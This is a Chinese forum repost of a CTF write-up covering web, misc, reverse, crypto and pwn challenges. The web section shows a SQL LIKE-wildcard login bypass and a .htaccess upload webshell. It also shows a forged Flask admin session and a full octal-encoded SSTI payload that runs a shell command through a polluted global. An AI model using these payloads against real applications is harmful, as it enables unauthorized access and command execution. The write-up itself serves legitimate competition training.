跳转到帖子

recommended_posts

发布于
  • Members

WEB

SQLUP

打开题目给了一个登录页面结合名字猜测为SQL注入

tg12w2bfba53678.png

查看源码发现有hint提示开发者使用的是模式匹配

j05ociyvypp3679.jpg

所以我尝试使用%来模糊匹配,登陆成功

进入面板之后发现有一个文件上传功能

hj30txpulvb3680.png

尝试上传php文件,结果被waf,文件名字不能出现p

tgqylmbvxmw3682.jpg

我想到了使用.htaccess文件来解析gif文件来getshell
先上传.htaccess文件, 将1.gif当作php解析

w1nu4xktyiy3683.jpg

接着上传1.gif文件

1354ufk4p2a3684.jpg

之后访问uploads/1.gif即可getshell,但是还需要提权读取flag

寻找提权命令

发现tac命令可以使用

og5w1ffhlok3686.jpg

CandyShop

源码如下

import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import re


app = Flask(__name__)

app.config['SECRET_KEY'] = 'xxxxxxx'

class RegistrationForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Register')

class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Login')

class Candy:
    def __init__(self, name, image):
        self.name = name
        self.image = image

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def verify_password(self, username, password):
        return (self.username==username) & (self.password==password)
class Admin:
    def __init__(self):
        self.username = ""
        self.identity = ""

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

candies = [Candy(name="Lollipop", image="images/candy1.jpg"),
    Candy(name="Chocolate Bar", image="images/candy2.jpg"),
    Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():
    form = RegistrationForm()
    if form.validate_on_submit():
        user = User(username=form.username.data, password=form.password.data)
        users.append(user)
        return redirect(url_for('login'))

    return render_template('register.html', form=form)

@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        for u in users:
            if u.verify_password(form.username.data, form.password.data):
                session['username'] = form.username.data
                session['identity'] = "guest"
                return redirect(url_for('home'))

    return render_template('login.html', form=form)

inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():
    global inventory, sold
    message = None
    username = session.get('username')
    identity = session.get('identity')

    if not username:
        return redirect(url_for('register'))

    if sold >= 10 and sold < 500:
        sold = 0
        inventory = 500
        message = "But you have bought too many candies!"
        return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

    if request.method == 'POST':
        action = request.form.get('action')
        if action == "buy_candy":
            if inventory > 0:
                inventory -= 3
                sold += 3
            if inventory == 0:
                message = "All candies are sold out!"
            if sold >= 500:
                with open('secret.txt', 'r') as file:
                    message = file.read()

    return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)


@app.route('/admin', methods=['GET', 'POST'])
def admin():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    admin = Admin()
    merge(session,admin)
    admin_user.append(admin)
    return render_template('admin.html', view='index')

@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    return render_template('admin.html', view='candies', candies=candies)

@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    candy_name = request.form.get('name')
    candy_image = request.form.get('image')
    if candy_name and candy_image:
        new_candy = Candy(name=candy_name, image=candy_image)
        candies.append(new_candy)
    return render_template('admin.html', view='add_candy')

@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():
    global inventory
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    if request.form.get('add'):
        num = request.form.get('add')
        inventory += int(num)
    return render_template('admin.html', view='add_inventory')

@app.route('/')
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=1337)

爆破session key得到 a123456

x3a2ioj0pj03687.png

session解密

┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master]
└─$ python2 flask_session_cookie_manager2.py decode -c .eJwNy8EKgCAMANB_2blDqW3Sz4S2LSQ0SDtE9O95ffBe2OqlazsPKbAAT6weoyhNihZn44PGjZwjGxGRrHBwZEYYILGUltrT135LbZ3uKlcJWToFzqnA9wOF2h3A.Zt025A.Z9OU_8Xax0lafOyjFTrx1WJ90qc

{"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"guest","username":"admin"}

zoqnsstnepu3688.png

伪造加密session

┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master]
└─$ python3 flask_session_cookie_manager3.py encode -s a123456 -t '{"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"admin","username":"admin"}'

eyJpZGVudGl0eSI6ImFkbWluIiwidXNlcm5hbWUiOiIxMjMifQ.Zt0hvg.ej8rVrvsHOttUQIIMgmE2w0kSto

伪造污染inventory

xx0ody5kge13689.jpg

观察源码发现存在原型链污染

@app.route('/admin', methods=['GET', 'POST'])

def admin():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    admin = Admin()
    merge(session,admin)
    admin_user.append(admin)

    return render_template('admin.html', view='index')

并发现存在ssti漏洞

@app.route('/admin/view_inventory', methods=['GET', 'POST'])

def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

结合原型链污染,我们可以污染全局变量inventory来造成ssti

{"__init__":{"__globals__":{"inventory":"{{7*7}}"}}

但是源码过滤了字母和下划线

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))

尽管禁用了字母但还可以用八进制绕过!
使用脚本伪造payload

input = "cat /tmp/9fb871d06639d7665f8c2005f87200fe/e586231aabe38cf5befd176a1ff25fec/6a5d614cfdcd840afead8e3497595126/flag"

print("\\'", end="")

for letter in input:

    #print(hex(ord(letter)).replace("0x", r"\x"), end="")

    #print(hex(ord(letter)).replace("0x", r"\u00"), end="")

    print(oct(ord(letter)).replace("0o", "\\\\"), end="")

print("\\'")

#python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}"



#{{''['\\137\\137\\143\\154\\141\\163\\163\\137\\137']}}

# __class__;\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'

# __mro__:\'\\137\\137\\155\\162\\157\\137\\137\'

# __base__: \'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'

#__subclasses__:\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\'  [132]

#__init__:\'\\137\\137\\151\\156\\151\\164\\137\\137\'

#__globals__:\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'

#popen: \'\\160\\157\\160\\145\\156\'

# cat /f*;\'\\143\\141\\164\\40\\57\\146\\52\'
PS C:\Users\86150\Desktop\flask-session-cookie-manager-1.2.1.1> python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}"

.eJx9UttugzAM_RdeWKU9kMR2qv5KOyEoMKG1VGrZpAnx78vFbgOd-oDl2MfnHIdM2fF27crx8tUO2S5rVNNtqW47qzoyhHpbdfXRAlhTE5E1bVOB1UX2nvVNO4z9-OumqubcD670fWuvQ3Vuk1JZ9kM_lmW2m1z-ebrU1ekWj_3w4xguV88wTXm-zw8HZawEMC4g-Ey5QEYCQ_KP1QCiR2if2QVMrZGRy8NBv1ICfNJ82-yV0U_Sfg5JMoIXNsGKWrAZHSip_bMhFYINWTCF5Kzk4h1EFBwgIuF-IVyyHgPEitZVyVUpVB3Yw4j4MwIHRkkDmcMWLO2vO4wWq24YS5osjezPJx5vRVZH2ejnEbRgTSIauJLfh3d6iAziOZDQY3ERwtRPoMTFBAoXMR-kyqHFR-AVQLZUS2qVgO6LeLQVm8g5spSOsvGWaPEwweab-CL0SsC_y3nO5nn-A-EVDjQ.Zt1CFQ.mbfc47fCCO-papkcsSiUKBJXNaI

3w1orgilzof3690.jpg

MISC

BrickGame

修改一下js,跳过匹配的验证即可得到flag

2cipoycdcph3691.jpg

漏洞探踪,流量解密

第一阶段发现上传了图片马,并通过访问gateway传参执行了命令

myhqytf1n3p3692.jpg

然后在日志中可以看到上传gateway.php的主机ip地址为192.168.30.234

1ks2e0welwf3693.png

因此压缩包密码为192.168.30.234

打开压缩包,还是一个流量文件,用wireshark打开,导出http流,查看其中gateway.php文件中执行的命令和回显。

在某一个文件中找到了提示,加密方式是RC4

mmvi0chpale3694.png

在剩余文件中找到了key和raw,即秘钥和密文


oltir101qh33695.jpg


把raw前面的key删了用rc4解密就得到flag了

llnyvndogah3696.jpg


分析第二个流量包,发现使用命令从192.168.1.5 下载了raw和key

3zz1rg0tlna3697.jpg


得到了加密的flag和key后,在后续流量包提示加密为RC4:

tthswb1flty3698.jpg

解密得到flag

最安全的加密方式

flag: flag{The_m0st_2ecUre_eNcrYption!!!}
流量包一开始有很多数据库的流量,未知
直接筛选http协议,发现有三个post请求,一个上传了php文件,一个上传了图片,一个上传了压缩包

h3fu0jsw4323699.jpgtay2y2pjjlw3700.jpg
下载附件打开,用Wireshark打开流量,点击左上角文件里的导出对象里的http,将里面的文件全部导出ioesbmz1yvr3701.pngu4mjxp2cwui3702.png将每个文件依次使用记事本打开,发现index(3).php和index(6).php文件里的内容与其他不同,打开index(6).php发现rar头pn3tqilioi33705.png然后进入wireshark将将它进行原始数据进行转换,转换之后将红色部分的原始数据在010中创建一个16进制文件如何将红色部分的在010中按crl+shift+v复制下来将多余的数据删掉,前面找到rar部分,最前面都删掉,后面的---的全部删掉,得到一个压缩包,需要密码,在另一个文件中找到密码f34yf1wyatr3708.png

使用php脚本中的pass可以打开压缩包,发现文本文件flag.txt
貌似是单个字符的md5,直接爆破:

import hashlib
from string import printable as all

charset = all
data = open("flag.txt", "r").readlines()

md5s = dict()
for i in charset:
    md5s[hashlib.md5(i.encode()).hexdigest()] = i

print("".join([md5s[i.strip()] for i in data]))

Reverse

easyre

根据反编译代码结合动调后发现只是简单的异或,但只能得到部分flag,后来发现在比较的数据下面有更全的加密后数据,提取出来解密可得

data = '0d774a04070301575303555405574F4B5100564C4E540102191B00570549140A04030D5F05051D1C060D0A54' last = 50 for i in range(43, -1, -1): char = int(data[i * 2:i * 2 + 2], 16) ^ last print(chr(char), end='') last = char # flag{fcf94739-da66-467c-a77f-b50d12a67437}
 1
data = '0d774a04070301575303555405574F4B5100564C4E540102191B00570549140A04030D5F05051D1C060D0A54'
2
3
last = 50
4
for i in range(43, -1, -1):
5
    char = int(data[i * 2:i * 2 + 2], 16) ^ last
6
    print(chr(char), end='')
7
    last = char
8
# flag{fcf94739-da66-467c-a77f-b50d12a67437}

tmaze

动态调试发现迷宫存在内存中,利用地址跳转来走迷宫。经分析后发现和之前数字中国创新大赛半决赛的 HardTree 大同小异,直接把之前的脚本改改就能用了。

首先开启动调后将迷宫所在的内存使用脚本dump出来

auto i,fp; fp = fopen("E:\\a\\ctf\\ccb\\re\\tmaze_16A051A0000_16A051B3000.dmp","wb"); for (i = 0x16A051A0000; i <= 0x16A051B3000; i++) fputc(Byte(i),fp);
 1
auto i,fp;
2
fp = fopen("E:\\a\\ctf\\ccb\\re\\tmaze_16A051A0000_16A051B3000.dmp","wb");
3
for (i = 0x16A051A0000; i <= 0x16A051B3000; i++)
4
     fputc(Byte(i),fp);

然后走迷宫

ase_addr = 0x16A051A0000 start_addr = 0x16A051B1480 - base_addr end_addr = 0x16A051B1840 - base_addr dump_file = open('tmaze_16A051A0000_16A051B3000.dmp', 'rb') file = dump_file.read() def bytes_to_addr(byte_str): num = 0 for ch in byte_str[::-1]: num *= 256 num += ch return num have_node = [] node_path = [] def read_node(node): if node not in have_node: if node == end_addr: print(''.join(node_path)) exit() have_node.append(node) # print(node) x_node = bytes_to_addr(file[node:node + 8]) - base_addr y_node = bytes_to_addr(file[node + 8:node + 16]) - base_addr z_node = bytes_to_addr(file[node + 16:node + 24]) - base_addr if x_node > 0 and file[node+24] == 0: node_path.append('x') read_node(x_node) node_path.pop() if y_node > 0 and file[node+25] == 0: node_path.append('y') read_node(y_node) node_path.pop() if z_node > 0 and file[node+26] == 0: node_path.append('z') read_node(z_node) node_path.pop() have_node.pop() read_node(start_addr) # yzyzyzyzyyzxzyyyzxzyzxxxzxzyyyyyyyyzxzxzyy
43 1
ase_addr = 0x16A051A0000
2
start_addr = 0x16A051B1480 - base_addr
3
end_addr = 0x16A051B1840 - base_addr
4
5
dump_file = open('tmaze_16A051A0000_16A051B3000.dmp', 'rb')
6
file = dump_file.read()
7
8
def bytes_to_addr(byte_str):
9
    num = 0
10
    for ch in byte_str[::-1]:
11
        num *= 256
12
        num += ch
13
    return num
14
15
have_node = []
16
node_path = []
17
18
def read_node(node):
19
    if node not in have_node:
20
        if node == end_addr:
21
            print(''.join(node_path))
22
            exit()
23
        have_node.append(node)
24
        # print(node)
25
        x_node = bytes_to_addr(file[node:node + 8]) - base_addr
26
        y_node = bytes_to_addr(file[node + 8:node + 16]) - base_addr
27
        z_node = bytes_to_addr(file[node + 16:node + 24]) - base_addr
28
        if x_node > 0 and file[node+24] == 0:
29
            node_path.append('x')
30
            read_node(x_node)
31
            node_path.pop()
32
        if y_node > 0 and file[node+25] == 0:
33
            node_path.append('y')
34
            read_node(y_node)
35
            node_path.pop()
36
        if z_node > 0 and file[node+26] == 0:
37
            node_path.append('z')
38
            read_node(z_node)
39
            node_path.pop()
40
        have_node.pop()
41
42
read_node(start_addr)
43
# yzyzyzyzyyzxzyyyzxzyzxxxzxzyyyyyyyyzxzxzyy

屏幕截图 2024-09-08 132524

得到flag{4bb5dac3-c578-66a2-d97a-664be7965820}


CRYPTO

RandomRSA

普遍意义上来说,nextprime不会超出枚举范围,两层组合,复杂度上来看也依然可以尝试,

n的结构很简单的二元式子,flag也证明了只需爆破,一些格的做法这里似乎找不到合适的放缩,维度也较低,故而放弃


大约3h

‍ b'flag{j1st_e_s1mp1e_b3ute}' ‍


PWN

FlowerShop

Kylin_Heap

image

漏洞点位于free这个地方,由于没有清空指针造成的uaf,通过这个即可泄露地址和进行任意地址写,由于libc版本为2.31,所以劫持free_hook





转自参考原文连接地址:

https://xz.aliyun.com/t/15560?time__1311=Gqjxn7iti%3DiQDQD%2Fm%3D0%3DDOKN0QynZOOA3frD#toc-1https://blog.csdn.net/weixin_74427106/article/details/142039971https://lrhtony.cn/2024/09/09/2024ccb/http://www.andynoel.xyz/
  • 查看数 733
  • 已创建
  • 最后回复

参与讨论

你可立刻发布并稍后注册。 如果你有帐户,立刻登录发布帖子。

游客
回帖…